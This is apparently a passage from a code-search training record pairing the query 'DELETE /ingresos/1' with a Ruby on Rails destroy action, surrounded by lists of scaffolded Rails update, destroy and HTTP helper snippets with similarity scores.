"def update\n @gene_ontology = GeneOntology.find(params[:id])\n\n respond_to do |format|\n if @gene_ontology.update_attributes(params[:gene_ontology])\n format.html { redirect_to(@gene_ontology, :notice => 'Gene ontology was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gene_ontology.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n if @ingredient.update_attributes(params[:ingredient])\n format.html { redirect_to(@ingredient, :notice => 'Ingredient was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ingredient.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @oase = Oasis.find(params[:id])\n\n respond_to do |format|\n if @oase.update_attributes(params[:oase])\n format.html { redirect_to @oase, notice: 'Oasis was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def update\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n if @bingo.update_attributes(params[:bingo])\n format.html { redirect_to(@bingo, :notice => 'Bingo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bingo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n flash[:notice] = 'Spot was successfully updated.'\n format.html { redirect_to(@spot) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def put(path, parameters = {})\n request(:put, path, parameters)\n end",
"def update\n @evento = Evento.find(params[:id])\n respond_to do |format|\n if @evento.update_attributes(params[:evento])\n flash[:notice] = 'Evento was successfully updated.'\n format.html { redirect_to(@evento) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ingeniero.update(ingeniero_params)\n format.html { redirect_to @ingeniero, notice: 'Ingeniero was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingeniero }\n else\n format.html { render :edit }\n format.json { render json: @ingeniero.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put_request(path, params={}, options={})\n request(:put, path, params, options)\n end",
"def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n @tiposproceso = Tiposproceso.find(params[:id])\n\n respond_to do |format|\n if @tiposproceso.update_attributes(params[:tiposproceso])\n format.html { redirect_to(@tiposproceso, :notice => 'Tiposproceso was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tiposproceso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, data=nil)\n request(:put, path, data)\n end",
"def update\n @estagiarios = Estagiario.find(params[:id])\n\n respond_to do |format|\n if @estagiarios.update_attributes(params[:estagiario])\n flash[:notice] = 'ESTAGIÁRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n if @peso.update_attributes(params[:peso])\n flash[:notice] = 'Peso was successfully updated.'\n format.html { redirect_to(@peso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @peso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @promos = Promos.find(params[:id])\n\n respond_to do |format|\n if @promos.update_attributes(params[:promos])\n flash[:notice] = 'Promos was successfully updated.'\n format.html { redirect_to(@promos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @promos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @evento = Evento.find(params[:id])\n\n respond_to do |format|\n if @evento.update_attributes(params[:evento])\n format.html { redirect_to(@evento, :notice => t('cambio')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @evento = Evento.find(params[:id])\n\n respond_to do |format|\n if @evento.update_attributes(params[:evento])\n format.html { redirect_to(@evento, :notice => 'Evento was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @evento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params)\n request(:put, path, params)\n end",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def put(request, response)\n write(request.body)\n Created\n end",
"def put(request, response)\n write(request.body)\n Created\n end",
"def update\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n\n respond_to do |format|\n if @supervisor_estagio.update_attributes(params[:supervisor_estagio])\n flash[:notice] = 'Supervisor de Estagio atualizado com sucesso.'\n format.html { redirect_to(@supervisor_estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supervisor_estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sofa = Sofa.find(params[:id])\n\n respond_to do |format|\n if @sofa.update_attributes(params[:sofa])\n flash[:notice] = 'Sofa was successfully updated.'\n format.html { redirect_to(@sofa) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def update\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n if @inning.update_attributes(params[:inning])\n format.html { redirect_to @inning, notice: 'Inning was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inning.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reqinfo = Reqinfo.find(params[:id])\n\n respond_to do |format|\n if @reqinfo.update_attributes(params[:reqinfo])\n flash[:notice] = 'Reqinfo was successfully updated.'\n format.html { redirect_to(@reqinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reqinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.65444356",
"0.63453865",
"0.60204685",
"0.5852977",
"0.5817236",
"0.58085746",
"0.5745322",
"0.5735997",
"0.5732192",
"0.55846906",
"0.5580532",
"0.5545674",
"0.5545674",
"0.5510069",
"0.54981196",
"0.5494719",
"0.54808456",
"0.547798",
"0.5461792",
"0.544397",
"0.5385207",
"0.53479165",
"0.53459716",
"0.53274333",
"0.53234154",
"0.53220665",
"0.5319478",
"0.5315805",
"0.5314444",
"0.53048223",
"0.5292316",
"0.52872705",
"0.52780265",
"0.52780265",
"0.52780265",
"0.5265882",
"0.5265863",
"0.5263936",
"0.5254509",
"0.52524376",
"0.5248127",
"0.5246537",
"0.52436477",
"0.5243141",
"0.52377534",
"0.52305764",
"0.5228078",
"0.5222505",
"0.5222505",
"0.5222505",
"0.5222505",
"0.5222505",
"0.5222505",
"0.5222505",
"0.5222505",
"0.5220421",
"0.52176887",
"0.52161145",
"0.5214464",
"0.52129894",
"0.52094847",
"0.5205679",
"0.5205555",
"0.5202091",
"0.52015996",
"0.5191983",
"0.51901364",
"0.5188556",
"0.5188556",
"0.51865613",
"0.51789814",
"0.5177741",
"0.5166467",
"0.51581824",
"0.51574206",
"0.5156744",
"0.5156679",
"0.51563996",
"0.51558405",
"0.5155049",
"0.5152347",
"0.51483274",
"0.5141275",
"0.5138524",
"0.51341677",
"0.5128111",
"0.5126721",
"0.51246536",
"0.5121105",
"0.51134664",
"0.51098275",
"0.5105599",
"0.5105599",
"0.5097118",
"0.5092545",
"0.50897616",
"0.50892967",
"0.5087961",
"0.50840795",
"0.5074691"
] | 0.614213 | 2 |
DELETE /ingresos/1 DELETE /ingresos/1.xml | def destroy
@ingreso = Ingreso.find(params[:id])
@ingreso.destroy
respond_to do |format|
format.html { redirect_to(ingresos_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @ingredience = Ingredience.find(params[:id])\n @ingredience.destroy\n\n respond_to do |format|\n format.html { redirect_to(ingrediences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ingrediente = Ingrediente.find(params[:id])\n @ingrediente.destroy\n\n respond_to do |format|\n format.html { redirect_to(ingredientes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @segmento = Segmento.find(params[:id])\n @segmento.destroy\n\n respond_to do |format|\n format.html { redirect_to(segmentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @inventario = Inventario.find(params[:id])\n @inventario.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @asistencia = Asistencia.find(params[:id])\n @asistencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(asistencias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gig = Gig.find(params[:id])\n @gig.destroy\n\n respond_to do |format|\n format.html { redirect_to(gigs_url) }\n format.xml { head :ok }\n end\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estagio = Estagio.find(params[:id])\n @estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(estagios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @domino = Domino.find(params[:id])\n @domino.destroy\n\n respond_to do |format|\n format.html { redirect_to(dominos_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def destroy\n @elemento = Elemento.find(params[:id])\n @elemento.destroy\n\n respond_to do |format|\n format.html { redirect_to(elementos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inning = Inning.find(params[:id])\n @inning.destroy\n\n respond_to do |format|\n format.html { redirect_to(innings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inning = Inning.find(params[:id])\n @inning.destroy\n\n respond_to do |format|\n format.html { redirect_to(innings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ganho = Ganho.find(params[:id])\n @ganho.destroy\n\n respond_to do |format|\n format.html { redirect_to(ganhos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @suministro = Suministro.find(params[:id])\n @suministro.destroy\n\n respond_to do |format|\n format.html { redirect_to(suministros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gallion = Gallion.find(params[:id])\n @gallion.destroy\n\n respond_to do |format|\n format.html { redirect_to(gallions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @visarequest = Visarequest.find(params[:id])\n @visarequest.destroy\n\n respond_to do |format|\n format.html { redirect_to(visarequests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pdig = Pdig.find(params[:id])\n @pdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdigs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @allergen = Allergen.find(params[:id])\n @allergen.destroy\n\n respond_to do |format|\n format.html { redirect_to(allergens_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @asignacion = Asignacion.find(params[:id])\r\n @asignacion.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacions_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @reqinfo = Reqinfo.find(params[:id])\n @reqinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reqinfos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nossos_servico = NossosServico.find(params[:id])\n @nossos_servico.destroy\n\n respond_to do |format|\n format.html { redirect_to(nossos_servicos_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @testing = Testing.find(params[:id])\n @testing.destroy\n\n respond_to do |format|\n format.html { redirect_to(testings_url) }\n format.xml { head :ok }\n end\n end",
"def delete(slide)\n # ./_rels/presentation.xml.rels\n # Update Relationship ids\n # Insert a new one slideRef\n @doc.edit_xml @doc.presentation.rels.path do |xml|\n # Calucate the next id\n # next_id = xml.xpath('//xmlns:Relationship[@Id]').map{ |n| n['Id'] }.sort.last.succ\n # TODO - Figure out how to make this more MS idiomatic up 9->10 instead of incrementing\n # the character....\n # Insert that into the slide and crakc open the presentation.xml file\n\n target = slide.path.relative_path_from(@doc.presentation.path.dirname)\n relationship = xml.at_xpath(\"/xmlns:Relationships/xmlns:Relationship[@Type='#{Slide::REL_TYPE}' and @Target='#{target}']\")\n # ./presentation.xml\n # Update attr\n # p:notesMasterId\n # Insert attr\n # p:sldId, increment, etc.\n @doc.edit_xml '/ppt/presentation.xml' do |xml|\n xml.at_xpath(\"/p:presentation/p:sldIdLst/p:sldId[@r:id='#{relationship['Id']}']\").remove\n end\n relationship.remove\n end\n\n # Delete slide link and slideNotes link from ./[Content-Types].xml \n @doc.edit_xml @doc.content_types.path do |xml|\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Slide::CONTENT_TYPE}' and @PartName='#{slide.path}']\").remove\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Notes::CONTENT_TYPE}' and @PartName='#{slide.notes.path}']\").remove\n end\n\n # Update ./ppt\n # !!! DESTROY !!!\n # ./slides\n # Delete files\n # ./_rels/notesSlide(\\d+).xml.rels\n @doc.delete slide.notes.rels.path\n # ./notesSlide(\\d+).xml file\n @doc.delete slide.notes.path\n # ./_rels/slide(\\d+).xml.rels\n @doc.delete slide.rels.path\n # ./slide(\\d+).xml file\n @doc.delete slide.path\n # ./notesSlides\n # Delete files\n\n # Hooray! We're done! Ummm, what should we return though? can't be the slide since\n # its destroyed and there's no practical way to keep it around in memory.\n end",
"def destroy\n @bingo = Bingo.find(params[:id])\n @bingo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bingos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tiposproceso = Tiposproceso.find(params[:id])\n @tiposproceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(tiposprocesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @utente = Segnalazione.find_by_prg_segna(params[:id])\n @utente.destroy\n\n respond_to do |format|\n format.html { redirect_to(segnalazioni_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end",
"def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @instituto.destroy\n\n respond_to do |format|\n format.html { redirect_to(institutos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n @iguanasactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(iguanasactualizaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatorio = Relatorio.find(params[:id])\n @relatorio.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @nostro = Nostro.find(params[:id])\n @nostro.destroy\n\n respond_to do |format|\n format.html { redirect_to(nostros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @oligo = Oligo.find(params[:id])\n @oligo.destroy\n\n respond_to do |format|\n format.html { redirect_to(oligos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vigencia = Vigencia.find(params[:id])\n @vigencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(vigencias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @title = \"Destroy Operations\"\n @operation = Operation.find(params[:id])\n @operation.destroy\n\n respond_to do |format|\n format.html { redirect_to(operations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entrada = Entrada.find(params[:id])\n @entrada.destroy\n\n respond_to do |format|\n format.html { redirect_to(mngr_entradas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @peso = Peso.find(params[:id])\n @peso.destroy\n\n respond_to do |format|\n format.html { redirect_to(pesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @installation = Installation.find(params[:installation_id]) \n @onpost = Onpost.find(params[:id])\n @onpost.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @operation = Operation.find(params[:id])\n @operation.destroy\n\n respond_to do |format|\n format.html { redirect_to(operations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @appoiment = Appoiment.find(params[:id])\n @appoiment.destroy\n\n respond_to do |format|\n format.html { redirect_to(appoiments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(dossiers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @regiaos = Regiao.find(params[:id])\n @regiaos.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n @reputacao_veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_veiculos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to(avisos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ocupation = Ocupation.find(params[:id])\n @ocupation.destroy\n\n respond_to do |format|\n format.html { redirect_to(ocupations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ingredient = Ingredient.find(params[:id])\n @ingredient.destroy\n\n respond_to do |format|\n format.html { redirect_to(ingredients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ingredient = Ingredient.find(params[:id])\n @ingredient.destroy\n\n respond_to do |format|\n format.html { redirect_to(ingredients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @inscripcione = Inscripcione.find(params[:id])\n @inscripcione.destroy\n\n respond_to do |format|\n format.html { redirect_to(inscripciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nom = Nom.find(params[:id])\n @nom.destroy\n\n respond_to do |format|\n format.html { redirect_to(noms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @glosario = Glosario.find(params[:id])\n @glosario.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_glosarios_path) }\n format.xml { head :ok }\n end\n end",
"def delete_element(xpath)\n if NOKOGIRI\n @xml.xpath(xpath.to_s).remove\n else\n @xml.delete_element(xpath.to_s)\n end\n end",
"def destroy\n @vicariato = Vicariato.find(params[:id])\n @vicariato.destroy\n\n respond_to do |format|\n format.html { redirect_to(vicariatos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @calidadtiposdocumento = Calidadtiposdocumento.find(params[:id])\n @calidadtiposdocumento.destroy\n\n respond_to do |format|\n format.html { redirect_to(calidadtiposdocumentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end"
] | [
"0.697945",
"0.68795466",
"0.6879137",
"0.68102634",
"0.65807986",
"0.6395754",
"0.63243705",
"0.6322572",
"0.6319816",
"0.63187414",
"0.63141567",
"0.62983614",
"0.6297758",
"0.6286887",
"0.6279561",
"0.62663656",
"0.62656796",
"0.62638044",
"0.62575054",
"0.62342495",
"0.6231125",
"0.622986",
